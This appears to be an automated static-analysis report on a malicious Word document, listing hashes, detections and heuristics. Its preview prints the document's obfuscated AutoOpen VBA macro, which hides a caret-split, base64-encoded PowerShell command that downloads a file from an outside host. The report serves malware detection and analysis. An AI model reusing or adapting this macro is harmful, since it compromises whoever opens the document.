Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 58813459c87feda0…

MALICIOUS

Office (OLE)

162.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: ce354da920240860fde469b31e9438f4 SHA-1: 88d3ce23fba7826cd801b6e059a0d9682c0da0d2 SHA-256: 58813459c87feda0e6225a1e33b7e48b7b45591152ac029d00f0a3597107ede7
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is identified as malicious by ClamAV with the signature Doc.Malware.Sagent-6697295-0. Static analysis detected a legacy WordBasic AutoOpen macro, indicating the document is designed to execute arbitrary code when opened. The VBA script is heavily obfuscated, preventing a detailed analysis of its specific actions, but the presence of the AutoOpen macro strongly suggests a malicious intent to compromise the user's system.

Heuristics 5

  • ClamAV: Doc.Malware.Sagent-6697295-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6697295-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 58773 bytes
SHA-256: dd8d95fa3b854e9220a95283c250dd195c3394528b9b2284fd335e4cff1f3eae
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const bOJsajySYPEdynOPcExiWapYWeFEP = 0
Sub AutoOpen()
On Error Resume Next
Dim dyQYQAgIJfuMEbUHOFlAcu(4)

If 12 = 12 + (8 * 0) Then
dyQYQAgIJfuMEbUHOFlAcu(0) = CLng(2396)
End If
dyQYQAgIJfuMEbUHOFlAcu(1) = Sqr(8)
dyQYQAgIJfuMEbUHOFlAcu(2) = Month(23962396)
dyQYQAgIJfuMEbUHOFlAcu(3) = Fix(2396.8)
Dim ToKYNYSYneKYnOGiCavuRAqUsaXU(4)

Dim pifyGigUzuWiNAHuqiliieHyvYfeKIiIvY(4)

If 12 = 12 + (7 * 0) Then
pifyGigUzuWiNAHuqiliieHyvYfeKIiIvY(0) = CLng(2484)
End If
pifyGigUzuWiNAHuqiliieHyvYfeKIiIvY(1) = Sqr(7)
pifyGigUzuWiNAHuqiliieHyvYfeKIiIvY(2) = Month(24842484)
pifyGigUzuWiNAHuqiliieHyvYfeKIiIvY(3) = Fix(2484.7)
Dim aETaXujuPAkoThOToFHekeXuiyS(4)

If 12 = 12 + (3 * 0) Then
aETaXujuPAkoThOToFHekeXuiyS(0) = CLng(3497)
End If
aETaXujuPAkoThOToFHekeXuiyS(1) = Sqr(3)
aETaXujuPAkoThOToFHekeXuiyS(2) = Month(34973497)
aETaXujuPAkoThOToFHekeXuiyS(3) = Fix(3497.3)
If 11 = 11 + (2 * 0) Then
ToKYNYSYneKYnOGiCavuRAqUsaXU(0) = CLng(1909)
Dim veKBUWanUPAaxAFunaSiHoMEKeaBoLhA(4)

If 12 = 12 + (1 * 0) Then
veKBUWanUPAaxAFunaSiHoMEKeaBoLhA(0) = CLng(1595)
End If
veKBUWanUPAaxAFunaSiHoMEKeaBoLhA(1) = Sqr(1)
veKBUWanUPAaxAFunaSiHoMEKeaBoLhA(2) = Month(15951595)
veKBUWanUPAaxAFunaSiHoMEKeaBoLhA(3) = Fix(1595.1)
End If
Dim JeValEBaHYmrerEiubOSaxyXiOVahkyqoJ(4)

If 11 = 11 + (9 * 0) Then
JeValEBaHYmrerEiubOSaxyXiOVahkyqoJ(0) = CLng(1634)
End If
JeValEBaHYmrerEiubOSaxyXiOVahkyqoJ(1) = Sqr(9)
JeValEBaHYmrerEiubOSaxyXiOVahkyqoJ(2) = Month(16341634)
JeValEBaHYmrerEiubOSaxyXiOVahkyqoJ(3) = Fix(1634.9)
ToKYNYSYneKYnOGiCavuRAqUsaXU(1) = Sqr(2)
Dim ZIiAMIvOfagOkutEzhozOjIQZotobIVI(4)

If 12 = 12 + (6 * 0) Then
ZIiAMIvOfagOkutEzhozOjIQZotobIVI(0) = CLng(136)
End If
ZIiAMIvOfagOkutEzhozOjIQZotobIVI(1) = Sqr(6)
ZIiAMIvOfagOkutEzhozOjIQZotobIVI(2) = Month(136136)
ZIiAMIvOfagOkutEzhozOjIQZotobIVI(3) = Fix(136.6)
ToKYNYSYneKYnOGiCavuRAqUsaXU(2) = Month(19091909)
Dim RyGywYiyPAVagiAhHOtyXaLOzaSOgUmYjOfewycigEzO(4)

If 11 = 11 + (3 * 0) Then
RyGywYiyPAVagiAhHOtyXaLOzaSOgUmYjOfewycigEzO(0) = CLng(2467)
End If
RyGywYiyPAVagiAhHOtyXaLOzaSOgUmYjOfewycigEzO(1) = Sqr(3)
RyGywYiyPAVagiAhHOtyXaLOzaSOgUmYjOfewycigEzO(2) = Month(24672467)
RyGywYiyPAVagiAhHOtyXaLOzaSOgUmYjOfewycigEzO(3) = Fix(2467.3)
ToKYNYSYneKYnOGiCavuRAqUsaXU(3) = Fix(1909.2)
Dim COtyCcIcOZutozIZuDEguDyxmyDIVUx(4)

If 13 = 13 + (6 * 0) Then
COtyCcIcOZutozIZuDEguDyxmyDIVUx(0) = CLng(3886)
End If
COtyCcIcOZutozIZuDEguDyxmyDIVUx(1) = Sqr(6)
COtyCcIcOZutozIZuDEguDyxmyDIVUx(2) = Month(38863886)
COtyCcIcOZutozIZuDEguDyxmyDIVUx(3) = Fix(3886.6)
XySiFiaUdJjOWIcOCeJEKyGAJyvIhd = "d." + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "x" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + " /c p^O^w^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^R^s^H^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^L^L^.^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^x^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^A^z^A^G^k^A^N^A^B^1^A^G^U^A^a^Q^B^q^A^G^k^A^d^w^B^v^A^H^E^A^a^Q^B^1^A^H^I^A^Z^Q^B^p^A^H^M^A^L^g^B^j^A^G^8^A^b^Q^A^v^A^E^0^A^W^A^B^F^A^C^8^A^b^A^B^v^A^G^Q^A^c^A^B^v^A^H^M^A^L^g^B^w^A^G^g^A^c^A^A^/^A^G^w^A^P^Q^B^"
Dim sEdILopriVSEWukXUQOsYxutawEriSyV(4)

Dim sobycYdILyvITiemuGoLuVApExecoNO(4)

If 11 = 11 + (5 * 0) Then
sobycYdILyvITiemuGoLuVApExecoNO(0) = CLng(3008)
End If
sobycYdILyvITiemuGoLuVApExecoNO(1) = Sqr(5)
sobycYdILyvITiemuGoLuVApExecoNO(2) = Month(30083008)
sobycYdILyvITiemuGoLuVApExecoNO(3) = Fix(3008.5)
If 12 = 12 + (4 * 0) Then
sEdILopriVSEWukXUQOsYxutawEri
... (truncated)